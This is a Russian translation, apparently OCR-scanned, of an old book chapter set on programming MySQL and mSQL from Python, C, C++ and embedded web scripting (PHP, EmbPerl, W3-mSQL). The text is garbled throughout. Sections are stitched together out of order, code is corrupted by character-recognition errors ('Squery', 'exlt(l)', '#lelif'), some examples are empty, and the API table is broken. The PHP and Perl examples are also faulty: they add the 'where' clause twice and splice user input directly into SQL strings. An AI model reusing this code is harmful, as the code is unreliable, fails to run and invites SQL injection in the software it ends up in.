    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

